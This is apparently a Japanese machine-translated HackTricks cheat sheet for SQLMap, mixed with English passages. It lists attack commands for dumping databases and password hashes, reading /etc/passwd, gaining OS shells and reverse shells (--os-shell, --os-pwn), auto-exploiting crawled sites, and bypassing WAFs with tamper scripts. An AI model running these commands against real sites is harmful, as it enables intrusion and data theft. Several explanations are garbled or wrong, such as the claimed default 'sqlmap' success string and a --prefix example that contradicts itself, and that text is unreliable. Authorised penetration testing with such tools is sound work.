# SQLMap - チートシート
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/)は、コロンビアのボゴタで2023年9月7日から8日まで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベントです。このイベントは、スペイン語で最新の研究が発表される技術的な内容の高いイベントであり、世界中のハッカーや研究者を惹きつけています。 以下のリンクで今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!: {% embed url="https://www.dragonjarcon.org/" %} ## SQLmapの基本的な引数 ### 一般的な引数 ```bash -u "" -p "" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="" --os="" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="" #HTTP authentication credentials (name:password) --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` ### 情報の取得 #### 内部 ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB --privileges #Get privileges ``` #### DBデータ The database contains sensitive information such as user credentials, personal data, and other valuable data. It is important to protect this data from unauthorized access and potential leaks. In the context of penetration testing, it is crucial to identify and exploit any vulnerabilities that may exist in the database to assess its security. SQL injection is a common technique used to exploit these vulnerabilities and gain unauthorized access to the database. By injecting malicious SQL queries, an attacker can manipulate the database and retrieve or modify its contents. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It can be used to perform various tasks such as fingerprinting the database, enumerating tables and columns, dumping data, and even executing arbitrary commands on the underlying operating system. This chapter will guide you through the process of using SQLMap to perform SQL injection attacks and extract valuable data from the database. ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D ) --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` ## インジェクション箇所 ### Burp/ZAP キャプチャから リクエストをキャプチャし、req.txt ファイルを作成します。 ```bash sqlmap -r req.txt --current-user ``` ### GETリクエストのインジェクション In this section, we will discuss how to perform SQL injection attacks on GET requests using SQLMap. SQL injection is a common vulnerability that allows an attacker to manipulate the SQL queries executed by a web application. このセクションでは、SQLMapを使用してGETリクエストに対してSQLインジェクション攻撃を行う方法について説明します。SQLインジェクションは、攻撃者がWebアプリケーションが実行するSQLクエリを操作することができる一般的な脆弱性です。 To perform a SQL injection attack on a GET request, we need to identify the vulnerable parameter in the URL. This parameter is typically a part of the query string and is used to pass user input to the server. GETリクエストに対してSQLインジェクション攻撃を行うには、URL内の脆弱なパラメータを特定する必要があります。このパラメータは通常、クエリ文字列の一部であり、ユーザーの入力をサーバーに渡すために使用されます。 Once we have identified the vulnerable parameter, we can use SQLMap to automate the process of exploiting the SQL injection vulnerability. SQLMap is a powerful tool that automates the detection and exploitation of SQL injection flaws. 脆弱なパラメータを特定したら、SQLMapを使用してSQLインジェクションの脆弱性を悪用するプロセスを自動化することができます。SQLMapは、SQLインジェクションの欠陥の検出と悪用を自動化する強力なツールです。 To use SQLMap, we need to provide the URL of the vulnerable page and the name of the vulnerable parameter. SQLMap will then analyze the target and attempt to exploit the SQL injection vulnerability. SQLMapを使用するには、脆弱なページのURLと脆弱なパラメータの名前を指定する必要があります。SQLMapは、その後、対象を分析し、SQLインジェクションの脆弱性を悪用しようとします。 Here is an example command to perform a SQL injection attack on a GET request using SQLMap: 以下は、SQLMapを使用してGETリクエストに対してSQLインジェクション攻撃を実行するための例です。 ``` sqlmap -u "http://example.com/vulnerable.php?id=1" -p "id" ``` In this example, we specify the URL of the vulnerable page (`http://example.com/vulnerable.php?id=1`) and the name of the vulnerable parameter (`id`). SQLMap will then analyze the target and attempt to exploit the SQL injection vulnerability. この例では、脆弱なページのURL(`http://example.com/vulnerable.php?id=1`)と脆弱なパラメータの名前(`id`)を指定しています。SQLMapは、その後、対象を分析し、SQLインジェクションの脆弱性を悪用しようとします。 By using SQLMap, we can automate the process of identifying and exploiting SQL injection vulnerabilities in GET requests, making it easier to test the security of web applications. SQLMapを使用することで、GETリクエストのSQLインジェクションの脆弱性を特定し、悪用するプロセスを自動化することができます。これにより、Webアプリケーションのセキュリティをテストする作業が容易になります。 ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### POSTリクエストのインジェクション In this section, we will discuss how to perform SQL injection attacks on POST requests using sqlmap. このセクションでは、sqlmapを使用してPOSTリクエストに対してSQLインジェクション攻撃を行う方法について説明します。 #### Step 1: Capture the POST Request #### ステップ1:POSTリクエストのキャプチャ To begin, we need to capture the POST request that we want to inject. This can be done using various tools such as Burp Suite, OWASP ZAP, or even browser developer tools. まず、インジェクションしたいPOSTリクエストをキャプチャする必要があります。これは、Burp Suite、OWASP ZAPなどのさまざまなツール、またはブラウザの開発者ツールを使用して行うことができます。 #### Step 2: Save the Request to a File #### ステップ2:リクエストをファイルに保存 Once we have captured the POST request, we need to save it to a file. This can be done by exporting the request from the capturing tool or by copying the request from the browser developer tools and saving it to a file. POSTリクエストをキャプチャしたら、それをファイルに保存する必要があります。これは、キャプチャツールからリクエストをエクスポートするか、ブラウザの開発者ツールからリクエストをコピーしてファイルに保存することで行うことができます。 #### Step 3: Use sqlmap to Perform the Injection #### ステップ3:sqlmapを使用してインジェクションを実行 Now that we have the POST request saved to a file, we can use sqlmap to perform the injection. The command to do this is as follows: POSTリクエストをファイルに保存したので、sqlmapを使用してインジェクションを実行することができます。そのためのコマンドは以下の通りです。 ``` sqlmap -r --level= --risk= ``` Replace `` with the path to the file containing the POST request. The `--level` and `--risk` options specify the level of tests to perform and the risk level of the injection, respectively. ``をPOSTリクエストを含むファイルのパスに置き換えます。`--level`と`--risk`オプションは、それぞれ実行するテストのレベルとインジェクションのリスクレベルを指定します。 #### Step 4: Analyze the Results #### ステップ4:結果の分析 After running the sqlmap command, it will perform various tests to identify if the POST request is vulnerable to SQL injection. It will then provide a detailed report of its findings, including any potential vulnerabilities found. sqlmapコマンドを実行すると、POSTリクエストがSQLインジェクションの脆弱性を持つかどうかを特定するためにさまざまなテストが実行されます。その後、潜在的な脆弱性を含む詳細なレポートが提供されます。 By following these steps, you can effectively perform SQL injection attacks on POST requests using sqlmap. Remember to always perform these attacks on systems that you have permission to test and never use these techniques for malicious purposes. これらのステップに従うことで、sqlmapを使用してPOSTリクエストに対して効果的なSQLインジェクション攻撃を実行することができます。常にテストの許可を得たシステムでこれらの攻撃を実行し、悪意のある目的でこれらの技術を使用しないように注意してください。 ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### ヘッダーとその他のHTTPメソッドにおけるインジェクション In some cases, web applications may use headers or other HTTP methods to transmit data. These can also be vulnerable to injection attacks. SQLMap provides options to test for injections in headers and other HTTP methods. いくつかの場合、Webアプリケーションはデータを送信するためにヘッダーやその他のHTTPメソッドを使用することがあります。これらもインジェクション攻撃の脆弱性にさらされる可能性があります。SQLMapは、ヘッダーやその他のHTTPメソッドにおけるインジェクションをテストするためのオプションを提供しています。 To test for injections in headers, you can use the `--headers` option followed by the headers you want to test. For example: ヘッダーにおけるインジェクションをテストするには、`--headers`オプションを使用し、テストしたいヘッダーを指定します。例えば: ``` sqlmap -u http://example.com --headers="User-Agent: Mozilla/5.0" --headers="Referer: http://example.com" ``` You can also test for injections in other HTTP methods such as `POST`, `PUT`, `DELETE`, etc. To do this, you can use the `--method` option followed by the desired HTTP method. For example: `POST`、`PUT`、`DELETE`など、他のHTTPメソッドにおけるインジェクションもテストすることができます。これを行うには、`--method`オプションを使用し、希望するHTTPメソッドを指定します。例えば: ``` sqlmap -u http://example.com --method=POST ``` By testing for injections in headers and other HTTP methods, you can identify and exploit vulnerabilities in these areas, allowing you to gain unauthorized access or perform other malicious activities. ヘッダーやその他のHTTPメソッドにおけるインジェクションをテストすることで、これらの領域の脆弱性を特定し、不正なアクセスを行ったり、他の悪意のある活動を行ったりすることができます。 ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### SQLインジェクションが成功した場合に文字列を示す When SQL injection is successful, the tool will indicate it by displaying a specific string in the output. This string can be customized using the `--string` option followed by the desired string value. By default, the tool uses the string "sqlmap". 成功したSQLインジェクションは、ツールが出力に特定の文字列を表示することで示されます。この文字列は、`--string`オプションに続けて任意の文字列値を指定することでカスタマイズできます。デフォルトでは、ツールは文字列「sqlmap」を使用します。 ```bash --string="string_showed_when_TRUE" ``` ### Eval **Sqlmap**では、各ペイロードを送信する前に、いくつかのPythonワンライナーでペイロードを処理するために`-e`または`--eval`を使用することができます。これにより、ペイロードを送信する前に、カスタムな方法でペイロードを簡単かつ高速に処理することができます。次の例では、**flask cookie session**は、送信する前にflaskによって既知の秘密で署名されます。 ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` ### シェル The `shell` command allows you to execute arbitrary commands on the target system. It is useful for gaining remote access and performing various actions on the compromised system. To use the `shell` command, you need to have a successful SQL injection vulnerability and be able to execute SQL queries. Once you have identified a vulnerable parameter, you can use the `--sql-shell` option to launch an interactive shell. ```bash $ sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-shell ``` This will open a shell prompt where you can enter commands to be executed on the target system. Keep in mind that the commands will be executed with the privileges of the database user, so you may have limited access to the system. ```bash sqlmap> shell ``` Once you have access to the shell, you can perform various actions such as uploading and downloading files, executing system commands, and even pivoting to other systems on the network. It is important to note that using the `shell` command can be risky, as it can potentially expose your identity and activities. Therefore, it is recommended to use it cautiously and only in controlled environments. ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### ファイルの読み取り このオプションを使用すると、SQLインジェクションの脆弱性を利用してデータベースからファイルを読み取ることができます。`--file-read`オプションを使用して、読み取りたいファイルのパスを指定します。 ```bash sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd" ``` このコマンドは、指定したURLの`id`パラメータにSQLインジェクションの脆弱性があるかどうかを検査し、脆弱性がある場合には`/etc/passwd`ファイルを読み取ります。 ファイルの読み取りは、データベースのバックエンドシステムにアクセスするための情報を取得するために使用されることがあります。この情報を利用すると、攻撃者はシステムに対する特権を取得したり、他の攻撃を実行したりすることができます。 ファイルの読み取りは、慎重に行う必要があります。適切な権限を持たないファイルにアクセスしようとすると、エラーが発生する可能性があります。また、不正な目的で使用することは違法ですので、法律に違反しないように注意してください。 ```bash --file-read=/etc/passwd ``` ### SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトする SQLmap is a powerful tool for automating the process of detecting and exploiting SQL injection vulnerabilities in web applications. In this guide, we will learn how to use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found. SQLmapは、ウェブアプリケーションのSQLインジェクション脆弱性を検出し、エクスプロイトするプロセスを自動化する強力なツールです。このガイドでは、SQLmapを使用してウェブサイトをクロールし、見つかったSQLインジェクション脆弱性を自動的にエクスプロイトする方法を学びます。 #### Step 1: Crawl the website #### ステップ1:ウェブサイトをクロールする The first step is to crawl the website using SQLmap. This will allow SQLmap to discover all the available pages and parameters that can be tested for SQL injection vulnerabilities. 最初のステップは、SQLmapを使用してウェブサイトをクロールすることです。これにより、SQLmapはSQLインジェクションの脆弱性をテストすることができるすべての利用可能なページとパラメータを発見することができます。 To crawl a website, use the following command: ウェブサイトをクロールするには、次のコマンドを使用します: ``` sqlmap -u --crawl=3 ``` Replace `` with the URL of the website you want to crawl. The `--crawl=3` option specifies the depth of the crawl, where `3` indicates that SQLmap should follow links up to three levels deep. ``をクロールしたいウェブサイトのURLで置き換えてください。`--crawl=3`オプションは、クロールの深さを指定します。`3`は、SQLmapがリンクを3つのレベルまでたどることを示しています。 #### Step 2: Identify SQL injection vulnerabilities #### ステップ2:SQLインジェクションの脆弱性を特定する Once the website has been crawled, SQLmap will analyze the discovered pages and parameters to identify potential SQL injection vulnerabilities. To do this, use the following command: ウェブサイトがクロールされたら、SQLmapは発見されたページとパラメータを分析し、潜在的なSQLインジェクションの脆弱性を特定します。これを行うには、次のコマンドを使用します: ``` sqlmap -u --crawl=3 --batch --forms --risk=3 --level=5 ``` Replace `` with the URL of the website you want to test. The `--batch` option is used to automatically exploit any identified vulnerabilities without user interaction. The `--forms` option tells SQLmap to test form-based SQL injection vulnerabilities. The `--risk=3` and `--level=5` options increase the aggressiveness of the tests, increasing the chances of finding vulnerabilities. ``をテストしたいウェブサイトのURLで置き換えてください。`--batch`オプションは、ユーザーの干渉なしに特定された脆弱性を自動的にエクスプロイトするために使用されます。`--forms`オプションは、フォームベースのSQLインジェクションの脆弱性をテストするようにSQLmapに指示します。`--risk=3`および`--level=5`オプションは、テストの攻撃性を高め、脆弱性を見つける可能性を高めます。 #### Step 3: Exploit SQL injection vulnerabilities #### ステップ3:SQLインジェクションの脆弱性をエクスプロイトする After identifying the SQL injection vulnerabilities, SQLmap can automatically exploit them to retrieve sensitive information from the database. To exploit the vulnerabilities, use the following command: SQLインジェクションの脆弱性が特定された後、SQLmapはそれらを自動的にエクスプロイトしてデータベースから機密情報を取得することができます。脆弱性をエクスプロイトするには、次のコマンドを使用します: ``` sqlmap -u --crawl=3 --batch --forms --risk=3 --level=5 --dump ``` Replace `` with the URL of the website you want to exploit. The `--dump` option tells SQLmap to dump the contents of the database tables once a successful SQL injection is found. ``をエクスプロイトしたいウェブサイトのURLで置き換えてください。`--dump`オプションは、成功したSQLインジェクションが見つかった場合にデータベーステーブルの内容をダンプするようにSQLmapに指示します. By following these steps, you can use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found. However, it is important to note that hacking into websites without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before conducting any security testing or penetration testing activities. これらの手順に従うことで、SQLmapを使用してウェブサイトをクロールし、見つかったSQLインジェクションの脆弱性を自動的にエクスプロイトすることができます。ただし、正当な権限なしにウェブサイトに侵入することは違法かつ倫理に反します。セキュリティテストやペネトレーションテストの活動を行う前に、必要な許可と法的権利を持っていることを常に確認してください。 ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ### セカンドオーダーインジェクション Second Order Injection(セカンドオーダーインジェクション)は、ウェブアプリケーションのセキュリティ上の脆弱性であり、ユーザーの入力がデータベースに保存され、後で別のクエリで使用される場合に発生します。この攻撃では、最初のクエリでの入力検証が不十分であるため、攻撃者は後続のクエリで悪意のあるコードを注入することができます。 セカンドオーダーインジェクションは、通常、データベース内のデータを操作するために使用されます。攻撃者は、データベース内のデータを改ざんしたり、機密情報を盗んだりすることができます。この攻撃は、ウェブアプリケーションがユーザーの入力を適切に検証していない場合に成功する可能性があります。 セカンドオーダーインジェクションを検出するためには、セキュリティテスターはウェブアプリケーションの入力検証とデータベースクエリの使用方法を詳細に調査する必要があります。また、セキュリティテスターは、セカンドオーダーインジェクションに対する適切な対策を提案することも重要です。 セカンドオーダーインジェクションは、ウェブアプリケーションのセキュリティを脅かす重大な脆弱性です。開発者は、入力検証とエスケープ処理を適切に実装することで、この脆弱性を防ぐことができます。 ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` [**この投稿を読む**](second-order-injection-sqlmap.md)**、sqlmapを使用して単純なおよび複雑なセカンドオーダーインジェクションを実行する方法についての情報です。** ## 練習用のラボ * **THMルーム**でsqlmapを使用して学ぶ: {% embed url="https://tryhackme.com/room/sqlmap" %} ## インジェクションのカスタマイズ ### サフィックスを設定する ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### プレフィックス --- ### Description This option allows you to specify a prefix string to be placed in front of all payloads sent by sqlmap. This can be useful in scenarios where you need to bypass certain security filters or WAFs that may be configured to block specific keywords or characters commonly used in SQL injection attacks. ### Usage To specify a prefix string, use the `--prefix` option followed by the desired string. For example: ``` --prefix="SELECT * FROM users WHERE " ``` This will prepend the specified prefix to all payloads sent by sqlmap. ### Example Let's say you are testing a web application that filters out the keyword `SELECT` in user input. By using the `--prefix` option, you can bypass this filter and successfully perform SQL injection attacks. Here's an example command: ``` sqlmap -u "http://example.com/login.php?username=test" --prefix="SELECT * FROM users WHERE " ``` In this example, sqlmap will send payloads like `SELECT * FROM users WHERE 1=1` instead of just `1=1`, effectively bypassing the filter. ### Note Keep in mind that using a prefix string may not always guarantee successful bypass of security filters or WAFs. It depends on the specific configuration and logic of the target application. It is recommended to combine this option with other techniques and evasion strategies for better results. ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### ブールインジェクションの検出方法のヘルプ Boolean injection(ブールインジェクション)は、SQLインジェクションの一種であり、データベースクエリの結果を真偽値(trueまたはfalse)で制御することができます。これにより、攻撃者はデータベースからの情報を漏洩させたり、意図しない操作を実行したりすることができます。 以下は、ブールインジェクションを検出するための手順です。 1. ページのURLまたはフォームを特定します。 2. ページのパラメータを特定し、インジェクションポイントを見つけます。 3. インジェクションポイントに対してブールベースのペイロードを作成します。これには、真偽値を評価するためのSQLクエリを使用します。 4. SQLMAPを使用して、作成したペイロードを実行します。SQLMAPは、ブールベースのインジェクションを自動的に検出し、結果を解析します。 5. 検出されたインジェクションポイントに対して追加のテストを実行し、データベースからの情報漏洩や攻撃の可能性を評価します。 ブールインジェクションは、セキュリティ上の脆弱性として深刻な影響を与える可能性があるため、ウェブアプリケーションのセキュリティテストにおいて重要な要素です。適切な手法とツールを使用して、ブールインジェクションを検出し、修正することが重要です。 ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper(改ざん) **自分自身でPythonで独自の改ざんを作成することができる**ことを覚えておいてください。非常に簡単です。[Second Order Injectionのページ](second-order-injection-sqlmap.md)に改ざんの例があります。 ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | 説明 | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | アポストロフィ文字をそのUTF-8の全角対応文字に置き換えます | | apostrophenullencode.py | アポストロフィ文字をその不正なダブルユニコード対応文字に置き換えます | | appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します | | base64encode.py | 指定されたペイロード内のすべての文字をBase64でエンコードします | | between.py | 大なり演算子('>')を'NOT BETWEEN 0 AND #'に置き換えます | | bluecoat.py | SQLステートメントの後にあるスペース文字を有効なランダムな空白文字に置き換えます。その後、文字'='をLIKE演算子に置き換えます | | chardoubleencode.py | 指定されたペイロード内のすべての文字をダブルURLエンコードします(すでにエンコードされているものは処理しません) | | commalesslimit.py | 'LIMIT M, N'のようなインスタンスを'LIMIT N OFFSET M'に置き換えます | | commalessmid.py | 'MID(A, B, C)'のようなインスタンスを'MID(A FROM B FOR C)'に置き換えます | | concat2concatws.py | 'CONCAT(A, B)'のようなインスタンスを'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)'に置き換えます | | charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされているものは処理しません) | | charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされているものは処理しません)。"%u0022" | | charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされているものは処理しません)。"\u0022" | | equaltolike.py | 全ての等号演算子('=')をLIKE演算子に置き換えます | | escapequotes.py | クォート('と")をスラッシュでエスケープします | | greatest.py | 大なり演算子('>')を'GREATEST'に置き換えます | | halfversionedmorekeywords.py | 各キーワードの前にバージョン付きのMySQLコメントを追加します | | ifnull2ifisnull.py | 'IFNULL(A, B)'のようなインスタンスを'IF(ISNULL(A), B, A)'に置き換えます | | modsecurityversioned.py | バージョン付きのコメントでクエリ全体を囲みます | | modsecurityzeroversioned.py | ゼロバージョンのコメントでクエリ全体を囲みます | | multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します | | nonrecursivereplacement.py | 事前定義されたSQLキーワードを置換に適した表現に置き換えます(例:.replace("SELECT", ""))フィルター) | | percentage.py | 各文字の前にパーセント記号('%')を追加します | | overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされているものは処理しません) | | randomcase.py | 各キーワード文字をランダムな大文字または小文字の値に置き換えます | | randomcomments.py | SQLキーワードにランダムなコメントを追加します | | securesphere.py | 特別に作成された文字列を追加します | | sp\_password.py | ペイロードの末尾に'sp\_password'を追加して、DBMSログからの自動的な曖昧化を行います | | space2comment.py | スペース文字(' ')をコメントで置き換えます | | space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します | | space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します | | space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します | | space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます | | space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、改行('\n')を追加します | | space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます | | space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、改行('\n')を追加します | | space2plus.py | スペース文字(' ')をプラス記号('+')に置き換えます | | space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます | | symboliclogical.py | ANDおよびORの論理演算子をそれらのシンボルに置き換えます(&&および\|\|) | | unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます | | unmagicquotes.py | クォート(')をマルチバイトコンボ%bf%27と一緒にジェネリックコメントで置き換えます(動作させるために最後に追加) | | uppercase.py | 各キーワード文字を大文字の値'INSERT'に置き換えます | | varnish.py | HTTPヘッダー'X-originating-IP'を追加します | | versionedkeywords.py | 関数でない各キーワードをバージョン付きのMySQLコメントで囲みます | | versionedmorekeywords.py | 各キーワードをバージョン付きのMySQLコメントで囲みます | | xforwardedfor.py | 偽のHTTPヘッダー'X-Forwarded-For'を追加します |
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: {% embed url="https://www.dragonjarcon.org/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**企業を宣伝**したいですか?または、**PEASSの最 * [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、Twitterで[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)@carlospolopmをフォローしてください。 * ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。